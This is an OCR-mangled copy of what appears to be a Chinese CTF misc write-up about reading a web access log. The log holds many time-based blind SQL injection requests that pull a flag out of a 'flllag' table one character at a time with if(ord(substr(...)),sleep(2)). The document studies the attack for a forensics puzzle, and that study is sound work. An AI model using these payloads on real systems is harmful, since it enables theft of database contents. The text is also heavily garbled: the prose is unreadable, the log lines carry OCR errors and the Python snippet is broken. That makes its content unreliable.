20218 fFCTFZ —iimisc-writeup

Q1X1 F 2021-04-06 20:57:55 K A 442 W, 2

SRER. CTREIL L HERLE: [FE%Ee Naws

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACEERE: https://blog.csdn.net/weixin_54430466/article/details/115470600

R

CTF

CTFZIR TR RENE

9 RE 0Tk
BB

XEHF

1.7 B 5
2. 8%
SIRIBEEHER

1.78 H 85


https://blog.csdn.net/weixin_54430466
https://blog.csdn.net/weixin_54430466/category_10935938.html
https://so.csdn.net/so/search/s.do?q=%25E4%25BF%25A1%25E6%2581%25AF%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E7%25BD%2591%25E7%25BB%259C%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_54430466/article/details/115470600
https://blog.csdn.net/weixin_54430466/category_10935938.html

P
©
N
PR
o
o
o
o
PR
a
o
|
1

[11/Mar/2021:18:02:30 +6000]1 "GET /index.php?id=1'%20and%20if(ord(substr((select%20flag%20from%20flllag),15,1))=67,sleep(2),1)——+ HTTP/1.1" 200 399
[11/Mar/2021:18:02:30 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),15,1))=68,sleep(2),1)-—+ HTTP/1.1" 200 399
[11/Mar/2021:18:02:31 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),15,1))=69,sleep(2),1)-—+ HTTP/1.1" 200 399
[11/Mar/2021:18:02:31 +000@] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),15,1))=70,sleep(2),1)-—+ HTTP/1. 399
[11/Mar/2021:18:02:31 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),15,1))=71,sleep(2),1)——+ HTTP/1. 399
[11/Mar/2021:18:02:31 +000@]1 "GET /index.php '%20and%20if(ord(substr((select%20flag%20from%20flllag),15,1))=72,sleep(2),1)——+ HTTP/1.
[11/Mar/2021:18:02:31 +6000]1 "GET /index.php! '%20and%20if (ord(substr((select%20flag%20from%20flllag),15,1))=73,sleep(2),1)——+ HTTP/1.
[11/Mar/2021:18:02:31 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),15,1))=74,sleep(2),1)——+ HTTP/1.
[11/Mar/2021:18:02:33 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),15,1))=75,sleep(2),1)-—+ HTTP/1.

"python-requests/2.21.
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192.168.52.156 - - [11/Mar/2021:18:02:33 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),15,1))=76,sleep(2),1)——+ HTTP/1. python-requests/2
192.168.52.156 - — [11/Mar/2021:18:02:33 +0000]1 "GET /index.php '%20and%201if(ord(substr((select%20flag%20from%20flllag),15,1))=77,sleep(2),1)——+ HTTP/1. "python-requests/2
192.168.52.156 — - [11/Mar/2021:18:02:33 +@000] "GET /index.php '%20and%20if (ord(substr((select%20flag%20from%20flllag),15,1))=78,sleep(2),1)——+ HTTP/1. python-requests/2
192.168.52.156 — - [11/Mar/2021:18:02:33 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),15,1))=79,sleep(2),1)——+ HTTP/1. python-requests/2
192.168.52.156 — - [11/Mar/2021:18:02:33 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),15,1))=80,sleep(2),1)-—+ HTTP/1. python-requests/2
192.168.52.156 — - [11/Mar/2021:18:02:33 +0008] "GET /index.php 1%20and%20if (ord(substr((select%20flag%20from%20flllag),15,1))=81,sleep(2),1)——+ HTTP/1. 399 python-requests/2.
192.168.52.156 - - [11/Mar/2021:18:02:33 +0000] "GET /index.php '%20and%20if (ord(substr((select%20flag%20from%20flllag),15,1))=82,sleep(2),1)-—+ HTTP/1. 399 "python-requests/2
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[11/Mar/2021:18:02:33 +6000]1 "GET /index.php
[11/Mar/2021:18:02:33 +6000]1 "GET /index.php
[11/Mar/2021:18:02:34 +6000] "GET /index.php!
[11/Mar/2021:18:02:34 +6000] "GET /index.php
[11/Mar/2021:18:02:34 +6000] "GET /index.php
[11/Mar/2021:18:02:34 +0000] "GET /index.php
[11/Mar/2021:18:02:34 +6000]1 "GET /index.php
[11/Mar/2021:18:02:34 +6000] "GET /index.php!
[11/Mar/2021:18:02:34 +6000] "GET /index.php

'%20and%20if (ord(substr((select%20flag%20from%20flllag),15,1))=83,sleep(2),1)-—+ HTTP/1.
'%20and%20if (ord(substr((select%20flag%20from%20flllag),15,1))=84,sleep(2),1)——+ HTTP/1.
'%20and%201if (ord(substr((select%20flag%20from%20flllag),15,1))=85,sleep(2),1)——+ HTTP/1.
'%20and%201if (ord(substr((select%20flag%20from%20flllag),15,1))=86,sleep(2),1)-—+ HTTP/1.
'%20and%201if (ord(substr((select%20flag%20from%20flllag),15,1))=87,sleep(2),1)-—+ HTTP/1.
'%20and%20if (ord(substr((select%20flag%20from%20flllag),15,1))=88,sleep(2),1)——+ HTTP/1.
'%20and%20if (ord(substr((select%20flag%20from%20flllag),15,1))=89,sleep(2),1)-—+ HTTP/1.
'%Zaandxzalf(ord(substr((select%zeflag%z@from%ZOflllag),15,1)):96,sleep(2),1)——+ HTTP/1.
'%20and%201if (ord(substr((select%20flag%20from%20flllag),15,1))=44,sleep(2),1)——+ HTTP/1.
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python-requests/2.
"python-requests/2.
python-requests/2.
python-requests/2.
python-requests/2.
python-requests/2.
"python-requests/2.
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192.168.52.156 — - [11/Mar/2021:18:02:34 +0000]1 "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),15,1))=95,sleep(2),1)-—+ HTTP/1. python-requests/2
192.168.52.156 — - [11/Mar/2021:18:02:34 +0000] "GET /index.php '%20and%20if (ord(substr((select%20flag%20from%20flllag),15,1))=61,sleep(2),1)——+ HTTP/1. "python-requests/2.
192.168.52.156 — - [11/Mar/2021:18:02:34 +@000] "GET /index.php '%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=48,sleep(2),1)——+ HTTP/1. python-requests/2
192.168.52.156 — - [11/Mar/2021:18:02:34 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=49,sleep(2),1)——+ HTTP/1. python-requests/2
192.168.52.156 — - [11/Mar/2021:18:02:34 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=50,sleep(2),1)-—+ HTTP/1. python-requests/2
192.168.52.156 — - [11/Mar/2021:18:02:34 +00001 "GET /index.php? '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=51,sleep(2),1)-—+ HTTP/1. python-requests/2

192.168.52.156 - - [11/Mar/2021:18:02:34 +0000] "GET /index. php’ld 1'%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=52,sleep(2),1)-—+ HTTP/1.
[11/Mar/2021:18:02:35 +000@1 "GET /index.php '%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=53,sleep(2),1)——+ HTTP/1.
[11/Mar/2021:18:02:35 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=54,sleep(2),1)——+ HTTP/1.
[11/Mar/2021:18:02:35 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=55,sleep(2),1)-—+ HTTP/1.
[11/Mar/2621:18:02:35 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=56,sleep(2),1)-—+ HTTP/1.
[11/Mar/2621:18:02:35 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=57,sleep(2),1)-—+ HTTP/1.
[11/Mar/2021:18:02:35 +6000]1 "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=97,sleep(2),1)——+ HTTP/1.
[11/Mar/2021:18:02:35 +6000]1 "GET /index.php '%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=98,sleep(2),1)——+ HTTP/1.
[11/Mar/2021:18:02:35 +0000] "GET /index.php '%20and%201f (ord(substr((select%20flag%20from%20flllag),16,1))=99,sleep(2),1)-——+ HTTP/1.1"
[11/Mar/2021:18:02:35 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=100,sleep(2),1)-—+ HTTP/1.1"
. . [11/Mar/2021:18:02:35 +6000] "GET /index.php '%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=101,sleep(2),1)——+ HTTP/1.1"
192.168.52.156 - - [11/Mar/2021:18:02:35 +0000] "GET /index.php '%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=102,sleep(2),1)-—+ HTTP/1.1"
192.168.52.156 - - [11/Mar/2021:18:02:35 +@000] "GET /index.php '%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=103,sleep(2),1)-—+ HTTP/1. 200 399
192.168.52.156 — - [11/Mar/2021:18:02:35 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=104,sleep(2),1)——+ HTTP/1. 200 399
192.168.52.156 — - [11/Mar/2021:18:02:35 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=105,sleep(2),1)-—+ HTTP/1.1" 200 399
192.168.52.156 — - [11/Mar/2021:18:02:35 +0000] "GET /index.php '%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=106,sleep(2),1)——+ HTTP/1.1" 200 399
192.168.52.156 - - [11/Mar/2021:18:02:36 +0000] "GET /index.php?i '%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=107,sleep(2),1)-—+ HTTP/1.1" 200 399
[11/Mar/2021:18:02:36 +0000] "GET /index.php?id=1'%20and%20if(ord(substr((select%20flag%20from%20flllag),16,1))=108,sleep(2),1)-—+ HTTP/1.1" 200 377
[11/Mar/2021:18:02:38 +6000]1 "GET /index.php! '%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=109,sleep(2),1)——+ HTTP/1.1" 200 399
[11/Mar/2021:18:02:38 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=110,sleep(2),1)——+ HTTP/1.1" 200 399
[11/Mar/26021:18:02:38 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=111,sleep(2),1)-—+ HTTP/1.1" 200 399
[11/Mar/2621:18:02:38 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=112,sleep(2),1)-—+ HTTP/1.1" 200 399
[11/Mar/2021:18:02:38 +000@]1 "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=113,sleep(2),1)-—+ HTTP/1.1" 200 399
[11/Mar/2021:18:02:38 +6000]1 "GET /index.php '%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=114,sleep(2),1)-—+ HTTP/1.1" 200 399
[11/Mar/2021:18:02:38 +0000] "GET /index.php '%20and%201if (ord(substr((select%20flag%20from%20flllag),16,1))=115,sleep(2),1)——+ HTTP/1.1" 200 399
102 148 R? 1RA — — [11/Mar/2021:18:A2+38 +AAAAT "GET /inday nhn?id=1'%20and%20% f(ard(cihetr((calartkIAF1anKkIAfram2Af111an) 14 1))=114 <laan(2) 11—+ HTTP/1 1" 204 300
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“pythun—requests/z.zl
"python-requests/2.21.
"python requests/2.21.
"python-requests/2.21.
ython-requests/2.21.
ython-requests/2.21.
ython-requests/2.21.
"python-requests/2.21.
"python-requests/2.21.
" "python-requests/2.21.
ython-requests/2.21.
ython-requests/2.21.
"python-requests/2.21.
"python requests/2.21.
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SERYiEAIsleep(2), UiHISERT2FD, ARAFER I — N RKBIEBSHERD, T— AR R R B A —2, A4
MAKEHBA—B. mTHE

==1 GET 7 5 g), eep(2) 1)——+ HT' o .
- - [11/Mar/2021: /index.php '%2aand%201f(ord(suhstr((select%zaflag%zefrom%zaflllag) 16 1))=! 102 sleep(2),1)——+ HTTP/1.1" python-requests/2
- - [11/Mar/2021: /index.php 20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=103,sleep(2),1)-—+ HTTP/1.1" python-requests/2.21.

[11/Mar/2021:
[11/Mar/2021:
[11/Mar/2021:

'%20and%201f(ord(substr((select%20flag%20from%20flllag),16,1))=104,sleep(2),1)——+ HTTP/1.1"
'%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=105,sleep(2),1)——+ HTTP/1.
'%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=106,sleep(2),1)——+ HTTP/1
'%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=107,sleep(2),1)——+
'%20and%20if (ord(substr((select%20flag%20from%26flllag),16,1))=108,sleep(2),1)—+
'%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=109,sleep(2),1)—+
'%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=110,sleep(2),1)—+

python-requests/2.21.
python-requests/2.21.
pbython-requests/2.21.
bython-requests/2.21.
bython-requests/2.21.
bython-requests/2.21.
python-requests/2.21.

/index.php
/index.php
/index.php
/index.php
/index.php
/index.php
/index.php

11/Mar/2021
[11/Mar/2021

= [11/Mar/2021: +0000] "GET /index.php '%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=111,sleep(2),1)—+ python-requests/2.21
- - [11/Mar/2021: +0000] "GET /index.php '%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=112,sleep(2),1)—+ python-requests/2.21
- - [11/Mar/2021: "GET /index.php =1'%20and%201if (ord(substr((select%20flag%20from%26flllag),16,1))=113,sleep(2),1)——+ python-requests/2.21
- - [11/Mar/2 G /index.php '%Zaand% ‘f(ord(suhstr((select% flagxzeftom%z llag) 16 1 1A sleep(z), —+ python-requests/2
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:1'%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=100,sleep(2),1)——+ HTTP,
:1'%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=101,sleep(2),1)——+ HTTP,
:1'%20and%20if(ord(substr((select%28flag%20from%20flllag),16,1))=102,sleep(2),1)——+ HTTP;
:1'%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=103,sleep(2),1)—+ HTTP,
1'%zaand%zalf(ord(substr((select%zeflag%zefrom%zeflllag) 16,1))=104,sleep(2),1)—+ HTTP/
:1'%20and%20j - ——+ HTTP,
—+ HTTP/
—+ HTTP/
1'%20and%201f(ord(substr((select%Zeflag%20from%20flllag) 16 1))= 108 sleep(2) 1)——+ HTTP/
:1'%20and%20if(ord(substr((select%28flag%20from%20flllag),16,1))=109,sleep(2),1)——+ HTTP;
:1'%20and%20if (ord(substr((select%20flag%20from%20flllag),16,1))=110,sleep(2),1)——+ HTTP,
:1'%20and%20if (ord(substr((select%20flag%20from%26flllag),16,1))=111,sleep(2),1)—+ HTTP,
1'%26and%201f(ord(substr((select%29flag%20from%26flllag) 16,1))=112,sleep(2), 11——+ HTTR/
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access.log &

( :
res (f.readlines())
for line in res:
print ( ( (line.strip())),end
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